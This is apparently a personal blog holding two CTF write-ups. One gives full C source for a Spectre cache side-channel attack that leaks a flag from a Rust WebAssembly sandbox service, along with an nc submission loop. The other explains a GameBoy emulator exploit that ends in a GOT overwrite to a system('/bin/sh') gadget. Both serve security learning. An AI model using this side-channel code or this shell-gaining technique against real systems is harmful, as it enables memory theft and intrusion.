Matt’s Website

DEFCON Quals 2019, Gloryhost

2019-05-13T22:43:49+00:00

Author: mattypiper

Contributors: mattypiper, fringe, aarbear

Description

gloryhost is a 64-bit Linux ELF network service written in Rust. It accepts compiled WebAssembly programs on port 9999 and executes the wasm program in a seccomp filtered sandbox. After figuring out how to generate a wasm program written in C using wasi-sdk, we were able to load our code into the service using base64. The service then responds with an error message expecting a certain export that was not found:

your code makes me feel funny: unable to resolve entry point: Export not found: this_is_what_ive_got

Defining this function in C and setting it as the entry point allows the code to execute.

int this_is_what_ive_got()
{
    return 0;
}

/opt/wasi-sdk/bin/clang -o test.wasm -Wl,-e,this_is_what_ive_got test.c

Gloryhost appears to execute the function and even prints the return value back to the client. However, attempting to execute libc functions such as open() and read() results in the service dying prematurely with a trap:

your code makes me feel funny: unable to execute entry point: WebAssembly trap occured during runtime: unknown

The service disables syscalls with seccomp, hence the WebAssembly trap. At this point we discovered a set of functions in the gloryhost namespace that were interesting.

wasi_debug_flush executes the x86 clflush instruction on the pointer argument
wasi_check_data, wasi_get_data_size and thewasi_get_data* functions were recognized as a set of functions that implement a few of the “primitives” required to execute the Spectre attack (speculative execution cache side channel).
wasi_debug_read performs a C-style read of the pointer argument, required for Spectre.
wasi_debug_ts executes the x86 rdtsc instruction, a timing instrument that can be used to execute the Spectre attack.

Inspection with strace and gdb revealed that the challenge flag was being loaded into the .bss entry _data6 at 0xe86120. This memory is inaccessible using the wasi_get_data functions, as they were only provided for memory areas data2 thru data5.

At this point, we laid out the plan: Call the gloryhost::wasi functions from our C code in a Spectre-style attack to read the flag from memory.

To call the external code, we had to define the functions as extern and use the linker directive -Wl,--allow-undefined to avoid link errors. Getting the function arguments and return values to line up was aided by the dynamic WebAssembly linker built into gloryhost, which printed helpful messages such as:

your code makes me feel funny: unable to resolve entry point: Parameters of type [] did not match signature [I32] -> [I32]

For getting the flag itself, the only instrument provided to send data back to the client was via the 32-bit return value of the this_is_what_ive_got function. For example, returning 0xdeadbeef from this_is_what_ive_got would print:

YOU’VE GOT deadbeef

We based our Spectre implementation on an existing Spectre PoC from ErikAugust.

As we implemented the Spectre attack, we had to take care to avoid using pointers or array indexing. This was because the wasi-sdk only supported 32-bit mode. So we wrote the function prototypes replacing pointers with uint64_t, as follows:

extern int64_t debug_ts();  // rdtsc
extern void debug_flush(uint64_t);  // clflush
extern void debug_read(uint64_t);
extern void check_data(int32_t);  // "victim function"
extern uint64_t get_data_size();
extern uint64_t get_data5();

And after some more thought, we realized that direct pointer/array accesses would not even work as expected when crossing the boundary from WebAssembly to C/amd64.

Anyway, after tuning the cache timing threshold, we were able to read the flag one byte at a time (we kept the code from the PoC that also generated a score and put that in the return value as well to be able to gauge the confidence of each flag byte).

Solution

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

extern int64_t debug_ts();  // rdtsc
extern void debug_flush(uint64_t);  // clflush
extern void debug_read(uint64_t);
extern void check_data(int32_t);  // "victim function"
extern uint64_t get_data_size();
extern uint64_t get_data5();

#define CACHE_HIT_THRESHOLD (600) /* assume cache hit if time <= threshold */

/* aliases from github poc to gloryhost:
     array2 = get_data5()
     array1_size = get_data_size()
     victim_function = check_data()
     array1 = get_data3()
     flag is in _data6  */

void readMemoryByte(uint32_t malicious_x, uint8_t value[2], int score[2])
{
    int results[256];
    int tries, i, j, k, mix_i;
    unsigned int junk = 0;
    uint64_t time1, time2;
    size_t training_x, x;
    volatile uint8_t* addr;

    for (i = 0; i < 256; i++)
        results[i] = 0;

    for (tries = 999; tries > 0; tries--) {
        // flush data5 from cache
        for (int i = 0; i < 256; i++) {
            uint64_t p = get_data5();
            p += i*512;
            debug_flush(p);
        }

        // 30 loops, 5 training runs per attack
        training_x = tries % 16; // 16 == nelements(array1_size)
        for (j = 29; j >= 0; j--) {
            debug_flush(get_data_size());

            // delay
            for (volatile int z = 0; z < 100; z++);

            // bit twiddling
            x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

            check_data(x);
        }

        // time reads
        for (int i = 0; i < 256; ++i) {
            mix_i = ((i * 167) + 13) & 255;

            uint64_t addr  = get_data5();
            addr += mix_i * 512;
            time1 = debug_ts();
            debug_read(addr);
            time2 = debug_ts() - time1;
            if (time2 <= CACHE_HIT_THRESHOLD)
                results[mix_i]++;
        }

        j = k = -1;
        for (i = 0; i < 256; i++)
        {
            if (j < 0 || results[i] >= results[j])
            {
                k = j;
                j = i;
            }
            else if (k < 0 || results[i] >= results[k])
            {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break;
    }

    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
}

int this_is_what_ive_got()
{
    uint32_t malicious_x = 0x100 + MALOFFSET; // use compiler argument to "step" this index
    int score[2], len = 2;
    uint8_t value[2];
    readMemoryByte(malicious_x, value, score);
    return (value[0] << 24) | (value[1] << 16) | ((score[0] & 0xff)<<8) | (score[1] & 0xff);
}

int main() {}

Compile with:

/opt/wasi-sdk/bin/clang -DMALOFFSET=1 -o solve.wasm \
    -Wl,-e,this_is_what_ive_got -Wl,--allow-undefined solve.c

Leak one byte at a time with a script:

for i in `seq 0 40`; do \
    /opt/wasi-sdk/bin/clang -DMALOFFSET=$i -o solve.wasm \
    -Wl,-e,this_is_what_ive_got -Wl,--allow-undefined solve.c && \
    cat solve.wasm | base64 -w0 | nc -N gloryhost.quals2019.oooverflow.io 9999 | egrep '^YOU' | cut -d' ' -f3 | cut -c1-2 | xxd -r -p; \
    done

Plaid CTF 2017 - gameboy

2017-04-24T03:43:49+00:00

Author: mattypiper

Contributors: mattypiper, nopple, fringe, other team members

Background

The challenge tar.gz contains a Gameboy (LR35902) emulator, a sample ROM, and output from dpkg -l. The emulator is a 64-bit position independent ELF executable. ROMs are read from stdin. The LCD screen is implemented by way of an ASCII art style output, and buttons are read from stdin after the ROM is loaded - WASD for the D-Pad and UJIK for Start, Select, A, and B. The ROM included in the tar.gz is Apocalypse Now, which is available on the Internet with a matching MD5, so not of interest. The dpkg listing will eventually help with identifying the libc version on the server.

Bugs

Providing a 16-character ROM name will leak the address of the PIE’s code section to stdout.
A custom opcode 0xED was added to the emulator’s instruction set which performs an XOR ($FF00 + C), A. $FF00 is the IO port region, so this instruction provides a way to write to the IO ports with an 8-bit operand, similar to other standard instructions like LD ($FF00+C), A. However, the C operand is interpreted as a signed quantity, allowing effectively: XOR (C), A where C is in the range [-128, 127]. This allows addressing “negative” memory.

Exploit

The emulator implements a state structure, containing pointers to various things and the LR35902 registers, and a 64KB ROM space. The state structure and ROM space are allocated together in the heap:

+---------------+
|     ...       |   <-- heap base
+---------------+  
|  ptr_emu_mem  |   <-- base + 0x10, points to base + 0x80 (ROM space)
+---------------+
|  ptr_oam_mem  |
+---------------+
|     ...       |
| other stuff   |
|     ...       | 
+---------------+
|               |
| emu registers |
|               |
+---------------+
|               |
|               |
+---------------+
|   ROM space   |   <-- base + 0x80
|     ...       |
|     ...       |
+---------------+

If we start with an end goal of overwriting a Global Offset Table (GOT) pointer as a means of getting a shell, we need to create a GameBoy ROM that writes to the GOT. From bug #1, we have a pointer to the PIE base, so we can calculate where the GOT is based on that. But there’s one problem. The pointer is written to stdout after the ROM is sent to emulator. So there’s no way for the ROM to know the PIE base address without somehow writing it back to stdin. The only IO available is the ASCII art LCD screen and the joypad input. So, the first thing the ROM needs to do is read the pointer from its “standard input”, aka the joypad. With some clever Python and LR35902 ROM code, we can encode 2-bits at a time onto the WASD joypad, and write that information into the emulator’s stdin using the WASD controls. The joypad input can be read at register $FF00 by first selecting the directional pad, and then reading the value. We store the leaked pointer off into Game Boy RAM for later usage.

    ; select directional pad
    LD A, $20
    LD [$FF00], A

    ; read value
    LD A, [$FF00]

Now that the GameBoy code knows where the GOT is, we need a way to write there. If we use bug #2, we can write backwards from the start of ROM and corrupt the emulator state. At this point, there is a choice to make about which byte of the emulator state to corrupt first. We opted to change ptr_emu_mem to rebase the emulator ROM down by 0x80. This way the GB code can read/write the emulator state directly with simple LD instructions targeting addresses around 0. A single XOR ($FF00 + $90), $80 instruction changes the low byte of ptr_emu_mem for 0x80 to 0x00, and the ROM is rebased.

There are a few side effects of rebasing the GameBoy ROM that we had to consider.

On the next cycle of the emulator, the next instruction will be fetched 0x80 bytes lower than the previous PC. Prepare for this by placing a landing pad there.
All of GameBoy memory is remapped down by 0x80. This includes the IO ports at 0xFF00. The emulator checks the value of certain IO registers every iteration. Due to the rebase, the values of all the IO registers have probably changed from their initial value to zero. This causes a few things to go awry, but nothing that crashes the emulator, and our GB code continues on.

So now we’ve rebased and we can change any of the pointers in the emulator state block. Back to our goal of overwriting the GOT. From earlier RE of the emulator, we knew there was a DMA transfer operation that would copy 160 bytes from any GB ROM page to the “Object Attribute Memory” or OAM. The OAM is mapped at 0xFE00 in the device, so it could simply be accessed with offset 0xFE00 from ptr_emu_mem. But instead, the emulator implemented the DMA transfer using a separate pointer specifically for performing DMA transfers. Now that the emulator state block is mapped into GB ROM, we can change the OAM pointer to anywhere in 64-bit process memory, including outside of the GameBoy’s usual 16-bit boundary. After changing the pointer with a few LD instructions, we simply initiate a DMA transfer, using LDH [$FF46], A, and we get a 160 byte copy from the GB ROM space to anywhere. Now we have a good write primitive.

The next problem is reading the GOT. In order to update the GOT with some other libc address, we need to know where libc is loaded in memory. But all we have so far is a write primitive, not a read primitive.

We thought for a few minutes and could not come up with an easy way to read outside of emulator ROM space. There was much deliberation (and groaning) about the potential of using the LCD screen to leak the GOT back to stdout, and then push the leaked GOT pointer back to the GB ROM code using the WASD D-Pad again. This is possible because we could also change the video memory and display buffer pointers in the emulator state. So I’m sure that would work, and I really hope other teams attempted this, but after reading about tiles, palettes, and parsing the ASCII screen, I sought other avenues.

Another option that was apparent was to rebase the ROM again. We’d already done it once. If we rebased the ROM down to the read/write data section of the x64 PIE and restart the emulator, we would have read/write access to the GOT by placing the GameBoy’s 64KB “window” around the GOT. We were a bit adverse to this idea at first because we might lose control of the emulator state block. But it turned out that isn’t really true. We could’ve saved off a heap pointer used a DMA transfer to maintain control of the emulator state. But it turned out that this is the last rebase and we didn’t need the emulator state anymore.

Rebasing again requires us to have code ready for the emulator when it starts up again in the new location. So we first use another DMA transfer to copy code from GB ROM space to the x64 PIE data section, then rebase the 64KB GB memory.

Rebasing was trivial the first time because it was a one byte adjustment to ptr_emu_mem, which can be accomplished using a GameBoy 8-bit memory write. To rebase from the heap to the PIE requires a multibyte write; an “atomic” update, if you will. If we were to change only one byte of ptr_emu_mem in a GB instruction, essentially the emulator is rebased immediately at the next cycle when it goes to fetch PC. The heap and the Position Independent Executable are too far away for a one-byte write to be useful. So, back to our friend, DMA transfer. If we make a copy of the emulator state in GB RAM, we can change ptr_emu_mem without causing havoc, and then “atomically” write the state copy back to its real location using the memcpy provided by the DMA transfer. While we’re mucking around with the emulator state object, we can also fix the emulator’s PC register to point to where it needs to be after the rebase is complete.

We chose addresses such that our code would be copied right after the GOT table. We had to be careful to make sure the IO ports at 0xFF00 were still mapped so as not to crash the process. With some careful selection of both the GB ROM base and the emulator PC, we were able to get the emulator to continue execution inside of its ROM space, but mapped into the data segment of the x64 PIE. Once this was accomplished, we could read and write to the GOT directly using GameBoy LD instructions.

For the GOT overwrite, we chose usleep as our target, as it is executed periodically by the emulator. For the value to overwrite, we used a pointer to a system(“/bin/sh”) gadget already inside of libc. This gadget is in the do_system function of libc, and effectively allows for a single GOT pointer overwrite to give you a shell. Note that we had to update the offset to this gadget based on whether we were testing on a local system or sending to the Plaid CTF challenge server.

gdb-peda$ x/10i 0x00007ffff7a5847c
   0x7ffff7a5847c <do_system+956>:	mov    rax,QWORD PTR [rip+0x37aa25]        # 0x7ffff7dd2ea8
   0x7ffff7a58483 <do_system+963>:	lea    rdi,[rip+0x139c79]        # 0x7ffff7b92103
   0x7ffff7a5848a <do_system+970>:	lea    rsi,[rsp+0x30]
   0x7ffff7a5848f <do_system+975>:	mov    DWORD PTR [rip+0x37d227],0x0        # 0x7ffff7dd56c0 <lock>
   0x7ffff7a58499 <do_system+985>:	mov    DWORD PTR [rip+0x37d22d],0x0        # 0x7ffff7dd56d0 <sa_refcntr>
   0x7ffff7a584a3 <do_system+995>:	mov    rdx,QWORD PTR [rax]
   0x7ffff7a584a6 <do_system+998>:	call   0x7ffff7ad6d20 <__execve>
gdb-peda$ x/s 0x7ffff7b92103
0x7ffff7b92103:	"/bin/sh"

Other useful tidbits:

To help debugging, it’s useful to have ways to inspect the emulator state and operation. The state block is always fixed at heap_base + 0x10, so no tricks required there. It was trivial to examine the emulator program counter and other registers at any point in time. But it’s also good to jot down the address (PIC offset) of certain key emulator instructions. In our case, I often set GDB breakpoints on instruction handlers for the 0xED XOR opcode address (0x1A27), the memcpy address of the DMA transfer (0xF32), as well as the overarching “next instruction fetch unit” of the emulator (0x118D). Especially when rebasing, breaking in GDB at the instruction fetcher (0x118D) gives us the PC in $RAX, and x/16bx $r8 gives us the next 16 op codes of the program. However, breaking at every emulated instruction is too slow, so it’s also good to be ready with breakpoints at other key points in the program like the XOR and the DMA. Additionally, it helped to sprinkle the GameBoy code liberally with breakpoints, to inspect the program state before and after things like DMA transfers. For a “GameBoy Breakpoint”, choose an instruction with few side effects, such as the clear flags register instruction CCF at 0x2A43. Then I just put the CCF instruction anywhere I needed to stop the emulator and inspect things.
Turn off ASLR for most of development.
We used rgbds to assemble, link, and fix our ROMs. The nonstandard XOR instruction can be assembled using DB $EB.
The LR35902 opcode table and BGB documentation were invaluable while working on this challenge.

Solution Files

Flag

PCTF{gameboy?_thats_sexist_why_isnt_it_just_gamechild?}